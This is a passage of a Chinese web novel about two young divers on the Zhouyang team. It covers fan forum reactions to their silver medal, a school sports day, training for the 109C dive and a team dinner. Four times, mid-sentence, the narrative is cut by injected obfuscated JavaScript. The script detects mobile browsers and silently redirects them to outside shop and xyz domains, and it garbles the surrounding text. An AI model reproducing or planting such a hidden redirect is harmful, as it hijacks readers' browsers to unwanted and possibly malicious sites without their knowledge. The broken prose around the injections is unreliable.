就比如总是不稳定的207，心理波动明显的姜广。如果想再往前升一步，他们还有很多路得走。 “好了，待会把衣服穿好，先去那边参加采访，最后我们再回来参加颁奖仪式。”余庆丰拍了拍赵渐鸿的肩膀。 两人这才从喜悦中微微脱出一些，赵渐鸿一把姜广揽到胸口，“牛啊，哭包姜，最后一跳分可是比我还高。” “也没，那不是因为你在边上，我放心。” “那207我也在你边上啊，你要自信一点，跳好了就是你厉害。” “好了，别提那个令人难过的207了！” 这场比赛的媒体并不多，主要是一些体育娱乐频道的记者，而主要的采访对象也是原国家队成员景乐池。 姜广和赵渐鸿几乎就是背景板，腰杆儿挺的直直的站在边上，没人问问题两人也不敢轻举妄动。 直到最后有个记者注意到了他们俩。 话筒递到两人嘴边时，都被吓了一大跳。互相扭头看了对方一眼，眼神似乎都在说“你来”。 “姜广，赵渐鸿你们好，请问你们在这次比赛获得亚军的感受如何呢？”记者又再一次发问。 姜广只好往前站了站，“嗯，我觉得自己其实还有很多需要提升的点，今后的训练里戒骄戒躁，争取有机会能站上更大的赛场吧。” 记者点点头把话筒递给赵渐鸿。 赵渐鸿一个劲的点头，笑嘻嘻地回答，“我和他一样。” “那可以问一下，在207的这个动作出现失误后，之后又在最后一个动作上完美发挥，这个过程中你们两个有做怎样的沟通吗？” 姜广嘟了嘟嘴唇，眼神轻飘飘的，在镜头面前很青涩，“我今天确实有很多失误，表现的不够好。其实这些动作在训练里都能跳的很好，也许是和我第一次比赛的原因有关，我心态还不够稳定，会容易想太多。” “但是，在出现失误后，我的搭档其实第一时间就在安慰我，直到上跳台还在鼓励我，他给了我很多力量吧。” 记者眯着眼睛笑，“你们搭档应该是一路互相鼓励彼此的吧，这样的友情确实很令人羡慕，那可以说一说，在你们彼此心目中对方是什么样的人呢？” 姜广戳了戳赵渐鸿的腰，示意他先说。 “我觉得，他是一个很努力，很勤奋的队员。当然了，他还是个帅哥，学习也很棒。当时我第一次看见他，就知道这小子不简单，一定是未来冠军的好苗子。”赵渐鸿边说边笑，看上去开朗的很，没个正行。 姜广被夸的不好意思，耳朵都红了半边，“没有，我觉得赵渐鸿，鸿哥确实就是队里的大哥哥，定心丸。他在我边上，我会很安心，而且他训练也很刻苦，难度现在也比我高不少，目前来说就是我追逐的目标，也希望能够早一些追上他的步伐吧。” “好的，谢谢你们两位能够接受我的采访。” 两人微微弯腰鞠躬后，才离开采访区域。 颁奖仪式后，姜广获得自己跳水生涯的第一个奖牌。 “紧接着我就可以安心当观众了。” 赵渐鸿撇撇唇角，“真羡慕你，我可是还得比三场单人呢。” “这么自信进决赛啊。” “那是，我不进谁进啊，看好咯哭包姜，让你鸿哥我给你拿个金牌瞧瞧。” 姜广配合地鼓掌，“那你可得加油呢。” “得嘞！” - 跳水吧-男子十米台论坛 【话说虽然每一届锦标赛没有国家队参加都是菜鸡互啄，但这一届好像有几个好苗子诶】 1L 如题，我感觉看下来姜广、赵渐鸿这两个新人上限都不错，在难度低那么多的情况下，还能一跳追上去！ 2L 确实诶！男台不会真的要出紫薇星了吧！！好期待他们俩难度上来之后，能不能再跳出最后307的水准！ 3L 是真的，金牌其实我感觉就是靠难度赢的，完成度并不算太高。赵渐鸿他们最后一跳的表现，真的让人眼前一亮啊！ 4L 不好意思，歪个楼，没人觉得姜广和赵渐鸿很帅吗！帅哥来跳水，真的赏心悦目啊！斯哈斯哈 5L 回楼上，是真的挺帅！而且听赛后采访，赵渐鸿应该难度比姜广高不少，舟阳队可能单人比赛也会派他出场，不知道他能不能在单人上也完美发挥啊！！ 6L 好苗子是真的，但是我感觉姜广的动作还是不太稳定，赵渐鸿整场感觉就没失误。其实，如果姜广完美跳下来的话，他们俩能拿个金牌吧！ 7L 回楼上，我去搜集了一下姜广的背景。你们敢信他竟然只学了跳水一年半啊！之前是练体操的，如果看过青少年体操比赛，就能知道姜广是拿过青少年自由操冠军的！ 8L 我的天啊，学了一年半，就能跳成这样？？我敢断定，男子跳台绝对要出紫薇星啦！这天赋恐怖如斯！ 9L 呜呜呜，作为一个体操跳水两项迷。我以前真的看过小广比赛！那时候他还挺可爱的，Q/Q的像个糯米团子，转眼就长大了，还转到跳水了，比小时候帅了好多，现在是硬帅路线了。 10L 我也莫名粉上了舟阳跳水队！你们忘了吗？上次全运会男子三米板和女子十米台，惊艳大家的于冈和苏虹，都是舟阳跳水队的啊！ 11L 太久没关注地方队，原来我们还有这么强的地方队啊！ 12L 是的，看到舟阳队出品，就知道不会太差的。我很骄傲，因为我是舟阳人！ 13L 不过目前小广确实在实力上弱了一点，虽然我也很想让他赶快上难度，但是看目前双人的成套配置，应该就是小广的最高成套了。虽然不该说，但是这难度配置就和女子差不多啊！ 14L 回上楼，我是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13451027|139096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不专业的，但是但从这场比赛来说。我个人感觉小广的动作跳起来更轻一些，转速也不错，动作基础也很好。虽然是体操转项，但基础和天赋都俱佳的情况下，我感觉他难度应该很快就能上来！ 15L 我也希望楼上说的是对的，希望小广好好磨练几年，下次能看到他更好的发挥吧！ 16L 好想哭，我们男台落寞太久了呜呜呜！真的需要有天赋的运动员能站出来啊！ 17L 没想到能在这看到小广，呜呜呜呜呜，当初我看他青少年比赛就粉上了，但是后面就没看到他比赛了，而且去搜索还说是退役了，我还失落了好久！没想到能看见他在跳水上发光发热啊！ 18L 你们知道吗，姜广其实还是个学霸。天天在跳水队训练，回学校考试还能排在年级前一百。 19L 我为什么不能拥有这样的崽崽！ 20L 既然你们都粉姜广，那我就粉赵渐鸿好了，没人觉得鸿鸿就是乐观小狗吗？在姜广旁边乐乐呵呵的，肯定是队里的开心果。 21L 我也觉得鸿鸿好可爱，而且他们队氛围真的很不错，看得出来平时绝对是好朋友。 22L 我觉得楼上的人还是太乐观了，男台一直是一个卷难度的项目，国际上那么多跳的好完成度又高的呢，他们俩这水准估计连奥运资格都拿不着吧！ 23L 楼上？要这么苛刻吗？ 24L 其实22楼说的没错，他们俩还太嫩了，这成绩就算放到全运会都没法进前三，这一场是大家都弱，他俩靠最后一跳捡漏了。 25L 那也是银牌，略略略！ 26L 明年不是还有全国跳水锦标赛，到时候看有国家主力参赛之后，他们能比出什么水平吧！到时候再说他们俩是不是紫薇星会比较有依据。 27L 楼上说舟阳跳水队牛，我也是笑了，你们忘了他们进入国家队的几个人，今年世锦赛一项都没进名单吧。 28L 那可以说一说，现在哪个地方队比较厉害吗？主要我对舟阳队还停留在全运会一金一银一铜的形象上，能在全运会有这种成绩我觉得确实还是地方队top的存在吧。 29L 楼上再怎么说，也没法说小广没天赋。毕竟，他只学了跳水一年半而已，能凑齐六个动作都不容易，就更别提他还能跳到9分了！而且207这个组别本来就容易失误，我不觉得是他实力太差没掌握，而是太紧张想太多才失误的吧。 30L 楼上说得对！不过，要是小广难度上来之后，鸿鸿肯定也更成熟了吧。那到时候男台会不会就是他们俩统治啊！ 31L 我也希望他们俩能好好跳，不要有伤病，多比赛攒攒经验！ 32L 如果说他们俩统治男台，那不就是一个大型竞技体育的残酷写照吗？昔日好队友，却在比赛里成了对手，而冠军又只有一个，好殇啊！ 33L 别说了，别说了！我希望他们并列第一！ 26.校运会 随后的男子十米台单人比赛，赵渐鸿一路断层晋级，最终也很争气的在这单人跳台决赛里跳出了500+的成绩。 毫无悬念的拿下了金牌。 之后的几项比赛里，舟阳队都表现的很出色，均有奖牌入账。 伴随着胜利的喜悦，迎接姜广的却是更为密集的训练日程和他的初三期末会考。 因为这半年的训练更多，他能去学校的日子就少了很多，好几次月考成绩都有所下滑。这几天比赛，他也没比完就玩，反而是开始恶补自己的功课。 前几天张雅君还给了他一点压力，让他务必在这次期末会考考到年级前一百，稳定自己的位次，保证明年也能顺利升市十一中的高中部。 市十一中是舟阳老牌学校了，重点率一直很高，体育文化生的比例也没差太多，对于体育生来说是个很友好的学校。 虽然说如果姜广有机会去到国家队参与训练，这高中肯定读不成。但张雅君就想留个退路，毕竟体育这条路子没法避免会碰到伤病，如果真伤的严重，那跳水跳不了，姜广也能重新回去学习，走正常的高考路子。 姜广也清楚张雅君的良苦用心，所以学的也很努力。只不过他这个灵魂接近三十岁的脑子，有时候确实没年轻人转的快，有些部分已经被社会打磨的僵化了。 原本想拿着“鞭子”赶进度练动作的余庆丰，看着姜广这么沉迷在学习里，也不忍心让人白天练的腰酸背痛，晚上还得挑灯夜读。 最后也把人给赶去学校里了。 为此还问了姜广好几次，要不要在他们体校上文化课算了，毕竟现在舟阳跳水队已经合并在市体校，也有专业的文化课老师。 姜广不是没想过，但是张雅君觉得都在一中读了这么久，而且一中的师资肯定也比体校好不少，最后还是拒绝了这个提议。 回去学校的前一天，张雅君把人赶去理发店不由分说地剪了个寸头。姜广本身五官就挺拔，眼底下有一颗小小的痣。不笑的时候本身的气质就显得冷淡，但笑起来就像个暖炉，和寸头的气质完全不搭调。 但这已经入冬的天气，没了头发还真会觉得冷。好在他回学校那天，有先见之明从家里揣了顶毛线帽，一出门就戴上了。 结果到了学校，却被告知这几天是校运会，没有课程。 所有人都以为他不去学校，也就没人通知他。不过今年一中的校运会确实一直在推迟，不然也不会在这已经入了冬的时候办。 他们班体委看见他时，两眼放光。 “姜广，你竟然来了！我们班唯一体育生，能不能在校运会上报几项啊，求求了，我们班实在没人，就剩这俩没人去了。” 他垂眉，“什么项目啊？” “男子三千米和铅球。” “哦，但是我又不练这个啊。”他试着推脱。 体委眨巴眼，“求求你了，但是你是体育生，比其他人体格肯定好不少，而且前几天他们在电视上看你比赛，都说你八块腹肌，再怎么差也比我们一坨肥肉好吧。” 面对这番软磨硬泡，姜广实在没法狠下心拒绝，只好提前给体委打“预防针”。 “我和你说，我三千米和铅球都很一般，可别指望着我拿名次就行。” 体委兴高采烈，“得嘞，没事没事，下回我一定向学校建议一下，增加一个跳水项目，那你肯定拿第一。” 姜广笑了笑没说话，而且他们又待不到下一届运动会了。 本来来学校打算大展身手把落下的功课全补回来，但碰上运动会，也只好跟着人到操场集合，而且还得做做热身，毕竟三千米的比赛就在开幕仪式结束后。 校运会其实是大部分学生最喜欢的日子，毕竟能在轻松愉悦的氛围里度过两三天，暂时逃离学习的压力，能喘几口气。 姜广其实还是因为在跳水队里做多了体能训练，三千米测试也跑过好几次，才敢一声就应下去比三千米的比赛。 但铅球他是真没底，保不齐就能在其他人期待里拉一坨大的。 “姜广，听说你最后报了三千米跑？”身边的女生突然扭头问他。 是之前一段时间坐他前面的女生郭彤，但平时他课上的少，其实也都不怎么熟悉。 “对，体委说没人报了，让我顶上。” 郭彤笑他，“体委确实这两天在班里求爷爷告奶奶，都没人理他，听说他一个人就报了八个项目。” 姜广摇摇头，“看来这班干部真是不好干。” “那个，我前两天在电视上看你比赛了。” “啊，你也看了？” 郭彤点头，“你现在可火了，之前很多人都不知道你，但最近你已经成为学校论坛的风云人物了。” “这样啊，但我不怎么有空看这些。” “那你可以给我签个名吗？怎么说你也是拿了银牌的牛人。” 姜广点头，随手伸手，“签哪儿？但是我签名应该也没什么用。” 紧接着，郭彤拿了薄薄一沓照片，“这里可以吗？” “这么多！而且这照片哪来的？”姜广看这照片里的自己还穿着校服，但自己却没一点印象有拍过照片。 “论坛上有人发，我打印出来了。” 姜广也没想太多，结果签完之后。开幕式刚结束，他蹦蹦跳跳几下，舒展舒展身子，就听见身后的郭彤在吆喝。 “快来看一看，瞧一瞧，一中跳水明星姜广的签名照，帮我们班写两份加油稿就能换一张嘞，感兴趣的找我哦！” 姜广听见了，哭笑不得，这时候他才记起来郭彤是他们班宣传委员，加油稿的活是她的“kpi”。 “挺有商业头脑。”姜广低头笑着在心底里评价。 三千米的检录结束后，姜广脱了外套和毛衣，只穿了件薄T恤，就去起跑线准备。 原本也不知道要参加运动会，衣服也没准备，不过好在今天还算运气好的穿了双运动鞋。 三千米需要在四百米的操场跑七圈半，因为距离太长，其实参加的人并不算多。本身他们班不参加也不会怎么样，但一生要强的体委偏偏硬着头皮答应了班主任说每个项目都会有人报名。 原本是达不成这个目标了，但谁知道姜广这个冤大头又去学校了。 “姜广加油！” 他们班的女生在操场旁给他鼓劲儿，他只是偏头朝她们看了一眼，乖巧地点点头。 因为他这会儿被风吹的实在是有点冷。 其实他一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13466442|139096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得跳水就像是不停地在操场上跑圈。学习一个新动作，他就跑一圈。跑步路上被路上的砂石绊倒很多次，但冲到终点的那一刻伤似乎也痊愈了。 跑步的中段，往往需要一个强大的意志力，能够保证自己速度不掉太多的同时，也能坚持下去。 跳水也一个样子，如何与学不会新动作，做不好动作的自己和解并靠着意志力继续撑下去是他必须经历的过程。 发令枪此刻响起。 姜广并没冲上前，而是默默的跟在队伍后面，直到一圈后大家逐渐分散，他才往前多迈了几个步子，跟在了领跑的几个人身后。 周遭的加油声异常繁杂，他眼底只有前面的路。 一千米结束，身体发生生理性的倦怠。双腿步子迈的很艰难，对于他来说这个阶段的办法只有顶住压力继续跑下去。 汗水已经浸湿胸口的衣服，因为是冬天，呼吸也更为急促。 “姜广，你是我们班的神！”广播台此时传来一篇加油稿。 颇为不正经且搞怪，惹的一堆人笑，姜广迈着沉重的步伐，也抬头笑了笑。 这校园名人当的可真好笑。 两千米过后，身边的人速度慢慢的快了起来。他下意识想跟着加速，但被带乱了节奏，一个不留神就在跑道上重重地摔了一跤。 他立马爬起来。 这时候想不了太多，努力控制节奏，有规律自己的呼吸。 第一显然是加速的太早，最后一圈时步子慢了不少。 他们班的人依旧在为他加油。 像极了从前初出茅庐比全国体操锦标赛时的场景，那时候他也靠着外表有了一批粉丝，只不过他实力日渐下滑，最后加油的粉丝也逐渐没了踪影。 竞技体育一直都是靠实力说话的。 他抬头看看那几个为他呐喊的同学，不得不说他很怀念这种状态。 最后一圈他开始调整好自己的步频，逐步提高速度，慢慢的就赶超了好几个人，名次提升到了第二。 他们班的人目光都不由自主地聚集到跑道上，特别是刚跳远摔在沙坑里吃了一嘴沙的体委，也不跳第二跳就冲到跑道边热血沸腾的加油。 姜广没有在乎自己的排名，只顾着调整呼吸，按照自己既定的节奏冲刺，直到最后十米。 他从外道超越。 身子往前压，双腿一迈。 拿下毫无争议的第一名。 比赛结束后到一边，姜广灌了两瓶水，感觉肺都要炸了，身子都是软趴趴的。 结果，没休息多久。 体委刚庆祝完他的三千米第一之后，就领着他去了铅球比赛场地。 “现在比？”他问。 体委人畜无害，“没办法，学校这么安排的。” 姜广无言以对，该死他可不是驴，全盯着他一个人薅。 拿起铅球的时候，他双手在抖。 完全没什么力气，结果铅球还没往前抛出去就顺着手掌，重重地砸在距离他的脚后跟一公分的泥土里。 远处的裁判，诧异的抬起头盯着姜广问，“还比吗？” 姜广没说话。 裁判默默对着旁边登记的实习老师，“姜广，-0.5米。” 27.109初体验 姜广铅球投了负数的消息，一时间被传遍了。这会儿还有人向广播台投加油稿，内容是，“姜广你是最棒的，没人会因为你的反向投球嘲笑你哦，请相信自己的实力！” 听到这段时，他面如死灰。 …… 倒也不用这般大张旗鼓的“鼓励”他，真挺丢脸的。 学校里的“乐子”都一阵一阵的，没多久这件事也没人再说了。 姜广校运会后，这段时间都在好好学习，和普通学生没什么区别。直到顺利考完期末，才被余庆丰又拉回了跳水馆。 回去的第一件事，也就是练练基本功，姿态联系，拉拉腿，保证后面的动作能顺利完成。 基础训练练了两天之后，余庆丰就拉着人去跳台上跳动作。 这段时间他的训练日程依旧集中在动作难度的提升上，首先开始的就是一组。 之前在一组上男台大部分人都至少能做个109C，如果只能跳107那难度一下就低了0.7，肯定是不划算的。 想要在单人男台上有竞争力，一组就必须能跳109。 学习新动作前，余庆丰先让姜广上七米台上跳107C，直到在平台上能跳成百分之八十的完成度之后，才正式开始学109。 “这个动作因为是四周半的动作，其实难点就在你核心力量要够，身子能转的过来。但是，这个难点对你来说其实是小意思，因为你翻腾的速度一直都很快，所以你主要着重需要学习的是入水的时机把控。” 姜广点头。 依旧是在保护带上开始一点一点扣动作。 “身子抱紧，你看看自己大腿和肚子中间空隙有多大，不贴紧你肯定翻不好。” “注意二次打开的动作，你最后入水模拟，角度都差到哪儿去了？” “核心收紧！” …… 余庆丰拉着保护绳也没忘挑毛病，最后看效果确实有点不尽人意，让姜广解开保护带，到陆台上练定位了。 “这个框你看到了吧，你往前抱膝起跳，最后要落在这个位置，不能有偏差，偏一点就多跳一次，一共做二十组哈。” “不然你这定位总是差太多，感觉就是没概念。” 姜广低着脑袋，没说话，默默地估计距离。其实这个训练是基础的基础，之前也做过很多次，但不会这么严苛。 他也清楚自己的毛病，动作有一段时间松了之后，再重新训练就会做的吃力，又得花时间重新开始一点一点抠。 往前做抱膝训练的第一次，稳稳落地，刚好站在框里的正中间。 “不错，保持住这个状态。”余庆丰双眼都盯着他看。 姜广长舒一口气。 好在身子的控制在这个时候逐渐稳定，定位的控制上也没再出现差错。 “这不挺好的吗？待会儿再去蹦床上练，109对你来说肯定就算不上难点，你保持自己的优点，你需要打磨的也只有入水。” 再次绑上保护带，他轻轻在蹦床上跳了跳，在余庆丰拉下保护绳的瞬间，同时有力的向上起跳。 双手紧紧的抱住小腿，核心随即发力，在空中飞快地转过三周半，最后一周却还是泄了力，转速明显慢了一些。 “贴紧啊，核心顶上去，跳台上一跳就几秒钟，你翻不过去那肯定是这个动作会失败的啊。” 姜广喘了口气，点点头后又继续开始。 在蹦床上训练了几乎一周的时间，才勉强能掌握所有的技术难点。 除夕前一天，姜广还是正常去到跳水队训练，他们队里除了一小部分家比较远的提前回去了，剩下的都坚持在队里正常训练。 他们的训练日程连大年初一也没放过，虽然部分队员也有情绪，但教练一句“我们不也还陪着你们一块在这”就给全把情绪堵回去了。 舟阳队的成绩从来都不只是依靠天赋异禀的人才，还与刻苦的训练分不开。 这些天于冈也从国家队回了舟阳，他们也放假，年后再回国家队继续训练备战10年的跳水世界杯。 “你们明天不是也得练？”于冈来到队里时，正巧看见姜广换了泳裤，在做热身。 姜广点头，“明天晚上回去吃年夜饭而已，但是白天的训练都是照常的。你终于回来了，看我们队里是不是好多了，自从你们上次全运会完美发挥，我们馆就全面翻新了一遍。” “你摸摸这泳池里的水，都热乎的。” 于冈弯弯眼睛朝他笑，“那你们还真够幸福的。” 赵渐鸿这时候刚换好泳裤，一个百米冲刺，撞在了两人身上，“嘿，于哥你怎么来了！” “你差点没把我撞水里去。”没等于冈说话，姜广嘴快的吐槽一句。 “害，不好意思，没控制住嘛。” 于冈依旧眯着眼睛笑，“你们俩还和之前一样呢，我们队里放假了，听说你们还训练，所以就回来看看你们呗。” “嘿，那你看好了，我这几天刚学了5156，待会儿就表演一个水花消失术。”赵渐鸿拍拍胸脯，满腔自信。 于冈双手抱胸，“那等待你们的表演。” 赵渐鸿原本的动作其实难度已经相当不错，在男台上也算的上是比较有竞争力的一套动作。 但他五组其实是强项，之前的5255难度系数是3.6，他觉得还有上升的空间，所以就又学了5156，难度价值是3.8，也提升了0.2。 “你们两个先开始训练哈，上三米台做团身和屈体训练，热热身，之后再上十米台做动作。”余庆丰扯着嗓子大喊。 两人也才正式爬楼梯上跳台。 三米台上做的训练实际上就是热热身子，再熟悉一下起跳后迅速抱膝的过程，草草带过后，两人也爬上了十米台，开始正式练动作。 先是姜广的109抱膝。 一组的动作有跑台的过程，对于运动员来说，助跑的阶段就需要全神贯注，如果脚下的频率和节奏出现差错。 那必定起跳时就会退台，最后影响起跳后的高度和远度。 “自己好好想一想之前在绳子上是怎么做的动作，身子绷紧， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13482861|139096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手贴紧，核心发力啊，别半道又没力气身子松了。”余庆丰从旁边拿了个喇叭，冲着十米台的姜广喊。 姜广点头，做了一个深呼吸，紧接着便开始做十米台上109C的第一跳。 毕竟也还是一个3.7难度的动作，对于目前的姜广来说还依旧是一座高耸入云的山，需要一点一点的往上爬。 双手贴紧大腿，脚尖绷紧，微微踮起。便开始自己的助跑，一步一个节奏，他完全按照之前训练的要求去执行。 到定点位置时，相当坚定且有力的起跳，身子迅速在空中团成一块。头发被甩的炸毛，起跳高度很高，于是翻腾的空间就也充足。 他做动作的优点依旧没有褪去，他的翻腾看起来很轻松，速度很快，外人看下来就会觉得动作很轻，不沉，就是所谓的“滞空感”。 最后一周，准备打开入水。 先是按照要求转为屈体的动作，进而转完最后半周后，把身子掰直，双手顶水。 但也就是在最后的一步上，还是不熟练，入水角度很偏，几乎是整个人斜着插进水里，如果身子不够直，那就是趴着进水了。 水花也因为角度偏差太多，压不住，总有空隙能往上冒。 “比预想的好一些，再继续！注意入水打开的时机，你刚刚太早了。”余庆丰拿着喇叭冲他说。 姜广用手擦去脸颊的水滴，用力点头，就拿着毛巾又往十米台上爬。 紧接着是赵渐鸿做他的5156B（向前翻腾两周半转体三周），因为需要转体三周，对身体的控制需要很强。 而且又是一组和五组的组合，所以对于运动员来说，会存在跑台后转体，身体控制比较难的情况。 能够掌握5156的选手，一般来说5255也能做好，相当于是一个进阶版的动作。 但这个动作其实在跳台比赛中用的不是很多，因为相比5255来说难度系数虽然高了0.2，但容错率降低了很多，所以风险会非常大。很多时候还不如拿5255跳一个好动作要有性价比。 所以，如果不是非常有把握的情况下，也很少会使用这个动作。 赵渐鸿前段时间练这个动作时，也练的很艰难，虽然他自己做转体是很轻松且漂亮的，但毕竟这是个助跑加转体加多周的动作，难度非常大，也在训练过程中吃了不少亏。 今天也是他在十米台上第一次跳5156。 赵渐鸿深深呼了一口气，做好准备后，抬头目视前方，踮脚，心底里默默数拍子。助跑，定点，起跳。 紧接着是多周的转体加翻腾，动作看起来很漂亮，如果是观众看到这个动作，那自然是会觉得“眼花缭乱”，看上去就很厉害。 转体的动作一直都会观赏性比较强，但也对运动员的核心力量以及身体的协调性要求很强。 因为是第一次做，而且还是个高难度的动作，助跑加转体的组合，赵渐鸿还是冲的有点过头，动作很明显的有些变形。 但后面屈体时调整的还不错，入水角度控制好了，水花效果还是很漂亮。 28.“小白脸” 赵渐鸿的调整能力相当强，舟阳队里也非常看好他，毕竟从目前来看，难度储备基本成型了，动作质量也不差，在动作发挥上能随机应变。 已经基本具备一个成熟运动员的雏形了。 看到赵渐鸿的发挥，姜广也在心底里为他高兴，但也不想被甩下太远。 毕竟竞技体育永远都是残酷的，姜广他上辈子见到过太多天赋比自己厉害的人了。那种看着对方，越来越厉害，远远把自己甩在后面的感觉，他没法释怀。 “牛！”姜广眉毛弯弯冲着台下的赵渐鸿竖大拇指。 说完就自顾自念念叨叨的嘀咕动作要领，正式踏上十米台的最后一阶台阶时，他用力深呼吸。 “你的109C只是开胃菜，后面还有更高难度的动作等你突破呢。”系统依旧是毫无预兆的出现。 但最近好了一些，语气也平和许多。 他也问了这个系统，培养他这么一个不算厉害的运动员估计要很长时间，系统能等吗？ 系统沉默许久。 “没有任何一个运动员是一天速成的，这就是一个需要很长时间投入的职业。” 姜广做动作其实都很轻盈，身子很舒展，很符合跳水这么一个观赏性项目的标准。 “先把这个动作做好再想其他动作吧。”他闷声对系统说。 在失误后，他还是没法第一时间改掉情绪会受影响的毛病。 只是训练，他仿佛身子都变沉重了许多。余庆丰在池边朝他吹了吹胸前的口哨，朝他摆摆手，用尽力气大喊，“注意力集中啊，注意起跳位置，不要退台！空中打开入水的衔接，不要着急啊！” 姜广朝余庆丰比了一个OK，随手把手里的毛巾往下一甩，往后回到十米台的尾端，屏息凝神。 “只是训练而已。”他在心底里给自己释压。 新动作免不了就是摔，所以他必须要需要克服摔进水里的恐惧。 助跑开始。 姜广这一次的节奏好不少，明显有张有弛，在台上的定点起跳还是很精准的。 只不过在起跳上，力度稍微欠一些。 高度也跟着不太够，但好在他的核心发力，靠转速挽回不少。 空中的姿态这一次也非常不错。 直到入水，因为从起跳开始就有小瑕疵，这一次的入水打开虽然坚定不少，但还是因为高度上差一些，最后身子的垂直度差不少。 整个身子依旧是倾斜着插入水里的，但好在这一次他身体控制的很到位，没有让水花从脚尖往外冒。 “不错啊，还可以的，我们刚学就做成这样，说明你是没问题的。但是刚刚看到了你入水压水花没完全顶到位，就是你提前发力了，你最后就没法用全力顶水了，这点注意一下啊，好我们继续。” 余庆丰说完姜广就直晃脑袋，把耳朵里的水给全晃出来。 训练的日程都很枯燥，姜广数不清他得爬多少次十米台的楼梯，往往是一天就上百次。 好在今天的训练还能明显看得见进步，姜广在下训时才终于咧着嘴角笑了笑。 “累了吧，我带你俩吃饭去。”于冈手搭在两人肩上。 赵渐鸿撇唇，“我们国家队的好大哥，那可得大出血的哦。” “别了吧你，天天在我家薅吃的还不够，还薅于哥是吧。”姜广偏过脑袋眉眼带笑地瞪了赵渐鸿一眼。 “诶，果然于哥回来我在心中的地位就下降了，下次组双人哭了我可不搭理你了嗷。” 于冈朝两人笑，“没事，还怕我能让你俩吃不好？就是姜广怎么和你组双人就哭呢。” 赵渐鸿连忙摆手，“不关我事呢，你可不知道我们小广哭的时候可惹人疼了，比我小时候在队里哭的样子还可爱……” 姜广没法忍，一只手捂住了对方的嘴。 “别说了，赶紧吃饭去吧。” 赵渐鸿眯着眼睛笑，也没继续打趣。 舟阳市其实就是个落后的十八线小市，要不是靠着几个体育项目还能打出点名气，不然就是个毫无存在的城市。 市区没什么繁华的区域，除了中心有个大润发，围绕着超市一并生出了一条商业街。 其他人流量大的地儿也就只是菜市场和工厂了。 所以，于冈他们的第一选择就是去那条商业街找个小餐馆吃饭。 “要不吃个扬州炒饭吧，好饿。”赵渐鸿随手一指路旁的炒饭店。 于冈觉得好笑，“你咋回事，说让我大出血，结果就吃个炒饭啊。我带你们去最里面那家家常小馆吃吧，那个老板挺好的，我之前来过几次。” “都行都行，今天跳那么多回，感觉脂肪都烧完了。” 姜广看着赵渐鸿那副饿的前胸贴后背的模样就笑，“哪有那么夸张，待会儿吃不完，我也全塞你嘴里。” “嘿嘿，没事我知道吃多少点多少，优秀的跳水运动员绝不浪费粮食！” 于冈无奈，“你这嘴感觉以后不跳水了，还能去超市里干导购员，天天叭叭叭的估计能卖出不少货。” 这条商业街也不长，店铺的分类也就是一些鞋服和小礼品之类的精品店，餐饮都集中在最后这一片。 在这开餐馆的都是家族生意，纯靠口味打出名声，毕竟市里天天下馆子的人也不多。 刚坐下，于冈就把菜单甩给赵渐鸿，“点吧，啥都可以。” 赵渐鸿看完后问了问姜广，结果也让他自己决定，就飞快的点了三菜一汤，他们仨也刚好够。 隔壁桌这会儿讨论的热烈，而话题则是“这一届跳水新人谁更好看。” 几人讨论的词语里，毫不意外的包含了他们仨的名字。于是，三个人尴尬的抬头看看对方，又不知道该说什么，就傻乎乎的不说话等上菜。 结果，菜刚上桌。 隔壁桌儿就改话题了，他们也不是想偷听，但无奈对方声音太大。 “我感觉那个于冈拿了全运会铜牌，照样不行，今年世锦赛按理说会给新人去比一米板锻炼锻炼，结果他都没去，这不就是实力还不够吗？” “那也有可能是全运会结束就是世锦赛时间来不及吧。” “没有的事，全运第四的何步可去了。” “还有我们舟阳这次十米台那两个，感觉花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13555934|139096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 期也不长，赵渐鸿现在动作做的还行，但分数都没上520，离领奖台还挺远，而且动作也不稳定，有几跳容易炸就6分的水准。” “更不用说，他那个拖后腿的搭档姜广了，配双人赵渐鸿纯纯是被拖后腿，什么失误都是姜广出现的。动作难度又低，就这水平，还想出头，真挺难的。” 